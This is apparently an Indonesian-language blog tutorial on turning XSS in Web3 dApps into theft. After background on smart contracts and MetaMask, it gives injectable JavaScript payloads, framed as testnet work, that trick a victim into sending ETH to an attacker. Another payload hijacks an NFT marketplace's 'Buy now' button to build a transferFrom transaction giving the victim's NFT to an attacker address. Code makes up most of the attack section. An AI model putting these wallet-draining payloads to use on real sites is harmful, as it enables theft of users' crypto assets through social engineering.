Memanfaatkan Cross Site Scripting (XSS) di Web3
pengantar
Cross-Site Scripting (XSS) adalah jenis serangan dunia maya di mana penyerang menyuntikkan kode berbahaya ke situs web atau aplikasi web. Kode yang disuntikkan biasanya berupa skrip, yang kemudian dieksekusi oleh web browser korban. Hal ini memungkinkan penyerang mencuri informasi sensitif, seperti kredensial login atau data keuangan, atau melakukan tindakan berbahaya lainnya atas nama korban.
Pengantar kontrak pintar
Sebuah "kontrak pintar" hanyalah sebuah program yang berjalan di blockchain Ethereum. Ini adalah kumpulan kode (fungsinya) dan data (statusnya) yang berada di alamat tertentu di blockchain Ethereum.
Kontrak pintar adalah jenis akun Ethereum. Artinya mereka memiliki saldo dan bisa menjadi target transaksi. Namun mereka tidak dikontrol oleh pengguna, sebaliknya mereka disebarkan ke jaringan dan dijalankan seperti yang diprogram. Akun pengguna kemudian dapat berinteraksi dengan smart contract dengan mengirimkan transaksi yang menjalankan fungsi yang ditentukan pada smart contract. Kontrak pintar dapat menentukan aturan, seperti kontrak biasa, dan secara otomatis menerapkannya melalui kode. Kontrak pintar tidak dapat dihapus secara default, dan interaksi dengannya tidak dapat diubah.
Apa itu transaksi blockchain?
Transaksi tidak lagi terbatas pada transfer keuangan saja, dan dengan pengembangan jaringan blockchain, Anda sekarang dapat menggunakan blockchain selain transfer keuangan, jadi setiap modifikasi pada status blockchain sekarang disebut transaksi, apakah itu transfer keuangan ke seseorang atau interaksi Anda dengan kontrak pintar.
Aplikasi terdesentralisasi (dApps) & kontrak pintar
Banyak orang secara bergantian menggunakan istilah kontrak pintar dan aplikasi terdesentralisasi (dApps), tetapi ini salah. Kontrak pintar hanyalah sepotong kode yang disimpan di blockchain. Namun, dApp menghubungkan frontend ke backend dan dapat menggunakan beberapa smart contract untuk dijalankan.
Dompet MetaMask secara singkat
- MetaMask adalah dompet cryptocurrency yang memungkinkan pengguna menyimpan Ether dan token ERC-20 lainnya.
- Dompet juga dapat digunakan untuk berinteraksi dengan aplikasi terdesentralisasi.
Otentikasi Web3
Sebagian besar aplikasi terdesentralisasi (dApps) tidak mengotentikasi pengguna dengan nama pengguna/kata sandi, sebaliknya mereka menggunakan alamat crypto untuk mengidentifikasi pengguna, jadi dalam kasus kami, bahkan jika dApp menggunakan cookie untuk melacak aktivitas off-chain pengguna, mencuri pengguna tidak akan membantu cookie, karena operasi di blockchain memerlukan kunci pribadi pengguna untuk menandatangani setiap transaksi (kunci pribadi ini hanya ada di komputer pengguna dan tidak mungkin mencurinya dengan serangan seperti XSS).
Apa yang bisa kita lakukan?
Dalam topik ini saya akan menjelaskan beberapa ide yang dapat Anda manfaatkan dengan serangan XSS untuk mencapai tingkat keparahan setinggi mungkin.
Saya akan menggunakan dompet MetaMask selama penjelasan ini, karena ini adalah dompet paling populer.
Sebelum memulai
Kami akan melakukan pengujian di jaringan testnet Goerli daripada jaringan mainnet, jadi kami tidak perlu berurusan dengan uang sungguhan.
Jadi, kita perlu mengaktifkan jaringan Goerli di dompet kita.
Anda bisa mendapatkan tes ETH untuk Jaringan Goerli dari sini .
Terhubung ke MetaMask!
Bagian pertama dari serangan kami ini, adalah membuat pengguna menghubungkan dompetnya ke situs web dApp. Hal terbaik di sini adalah ketika MetaMask meminta pengguna untuk menyetujui koneksi, itu akan menunjukkan kepadanya URL situs web dApp, ini akan membuat pengguna sedikit percaya diri.
Kode JavaScript berikut akan meminta pengguna untuk menghubungkan dompetnya:
const x = document.createElement("button");
x.id = "connect";
x.innerText = "Connect to MetaMask";
document.body.appendChild(x);
document.getElementById("connect").addEventListener("click", () => {
ethereum.request({ method: "eth_requestAccounts" });
});
Sekarang, pengguna terhubung ke situs web dApp. Setelah itu kami akan membuat payload untuk melakukan transaksi yang akan mengirimkan uang untuk penyerang.
Muatan berikut adalah untuk melakukan transaksi yang akan mengirimkan 0,01 ETH dari korban ke penyerang:
const y = document.createElement("button");
y.id = "send";
y.innerText = "Send 0.01 ETH to Win!";
document.body.appendChild(y);
document.getElementById("send").addEventListener("click", async () => {
const transactionParameters = {
nonce: "0x00",
gasPrice: "0x244AC6D",
gas: "0x12A52",
to: "0x0000000000000000000000000000000000000000",
from: ethereum.selectedAddress,
value: "0x2386F26FC10000",
data: "0x00",
chainId: "0x5",
};
const txHash = await ethereum.request({
method: "eth_sendTransaction",
params: [transactionParameters],
});
});
Seperti yang Anda lihat, serangan ini membutuhkan interaksi pengguna, tetapi jangan lupa di bagian pertama, MetaMask akan menampilkan URL pengguna dari situs web yang rentan dan ini akan membuatnya percaya diri jika dia tidak memiliki latar belakang teknis.
Sekarang, mari kita jelaskan lebih detail tentang payload sebelumnya.
untuk transactionParametersobjek, kami memiliki beberapa hal penting yang harus Anda ketahui:
1- to: nilai parameter ini adalah alamat penerima (bisa berupa kunci publik akun Anda, atau alamat kontrak).
2- value: jumlah eter (dalam Hex) yang ingin Anda kirim.
3- data: parameter ini berguna ketika kita ingin membuat interaksi smart contract (saya akan membahasnya sebentar lagi).
4- chainId: di sini kita menggunakan Goerli testnet, dan chainId-nya adalah 0x5 (setiap jaringan memiliki chainId yang unik).
Anda dapat menemukan chainId untuk jaringan lain di sini .
Eksploitasi baru
Hal penting sebelum menentukan eksploit yang akan Anda berikan, adalah mengetahui logika bisnis dApp, jadi misalnya jika kami menemukan XSS yang disimpan di pasar NFT di halaman detail NFT (yang menunjukkan detail tentang NFT tertentu), dalam hal ini kami tidak akan menggunakan eksploit sebelumnya, melainkan kami akan membuat skenario baru.
Sebagian besar pasar NFT memiliki "halaman detail NFT" seperti ini:
Jadi ketika Anda mengklik tombol "Beli sekarang", pop up MetaMask akan muncul untuk menyetujui transaksi (ini adalah perilaku normal). Kami akan menyalahgunakannya sekarang, jadi kami perlu mengubah perilaku ini.
Pertama-tama saya akan menjelaskan skenario penyerangan kemudian kita akan menulis eksploitasinya. Saat pengguna mengklik "Beli sekarang", kami ingin membuat panggilan API di belakang layar hingga kami mendapatkan NFT yang dimiliki pengguna, lalu kami akan mentransfer kepemilikan NFT kepada kami saat dia mengonfirmasi transaksi melalui MetaMask.
Kami akan menggunakan OpenSea API untuk membuat permintaan API untuk mendapatkan semua NFT pengguna.
const req = new XMLHttpRequest();
req.open(
"GET",
`https://testnets-api.opensea.io/api/v1/assets?format=json&limit=50&offset=0&owner=${ethereum.selectedAddress}`
);
req.send();
req.onreadystatechange = async () => {
if (req.readyState === 4) {
const data = JSON.parse(req.response);
const SC_address = data["assets"][0]["asset_contract"]["address"];
const tokenId = parseInt(data["assets"][0]["token_id"]).toString(16);
}
SC_address: Variabel ini akan berisi alamat smart contract (alamat NFT).
tokenId: Variabel ini akan berisi tokenId dari NFT.
Sekarang, kami akan membuat transaksi baru yang akan membuat pengguna menyetujui transfer NFT-nya ke penyerang:
const ATTACKER_ADDRESS = "0x0000000000000000000000000000000000000000";
const transactionParameters = {
nonce: "0x00",
gasPrice: "0x244AC6D",
gas: "0x12A52",
to: SC_address,
from: ethereum.selectedAddress,
value: "0x00",
data: `0x23b872dd000000000000000000000000${ethereum.selectedAddress.substr(2)}000000000000000000000000${ATTACKER_ADDRESS.substr(2)}${"0".repeat(64 - tokenId.length)}${tokenId}`,
chainId: "0x5",
};
const txHash = await ethereum.request({
method: "eth_sendTransaction",
params: [transactionParameters],
});
Objek data in transactionParametersmewakili info yang perlu kita panggil transferFrom fungsi (Metode ERC-721).
Lebih detail tentang data:
23b872dd mewakili MethodID fungsi. transferFrom
${ethereum.selectedAddress.substr(2)}mewakili alamat pengguna.
${“0”.repeat(64 — tokenId.length)}: disini kita menghitung panjang tokenId, kemudian kita kurangi dari 64 sampai mengisi sisa data dengan angka nol.
Sekarang, transaksi kita sudah siap, mari kita gabungkan semuanya.
document.getElementById("buy").addEventListener("click", async () => {
const req = new XMLHttpRequest();
req.open(
"GET",
`https://testnets-api.opensea.io/api/v1/assets?format=json&limit=50&offset=0&owner=${ethereum.selectedAddress}`
);
req.send();
req.onreadystatechange = async () => {
if (req.readyState === 4) {
const data = JSON.parse(req.response);
const SC_address = data["assets"][0]["asset_contract"]["address"];
const tokenId = parseInt(data["assets"][0]["token_id"]).toString(16);
const ATTACKER_ADDRESS = "0x0000000000000000000000000000000000000000";
const transactionParameters = {
nonce: "0x00",
gasPrice: "0x244AC6D",
gas: "0x12A52",
to: SC_address,
from: ethereum.selectedAddress,
value: "0x00",
data: `0x23b872dd000000000000000000000000${ethereum.selectedAddress.substr(2)}000000000000000000000000${ATTACKER_ADDRESS.substr(2)}${"0".repeat(64 - tokenId.length)}${tokenId}`,
chainId: "0x5",
};
const txHash = await ethereum.request({
method: "eth_sendTransaction",
params: [transactionParameters],
});
}
};
});
Terima kasih telah membaca, semoga cerita saya bermanfaat.

![Apa itu Linked List? [Bagian 1]](https://post.nghiatu.com/assets/images/m/max/724/1*Xokk6XOjWyIGCBujkJsCzQ.jpeg)



































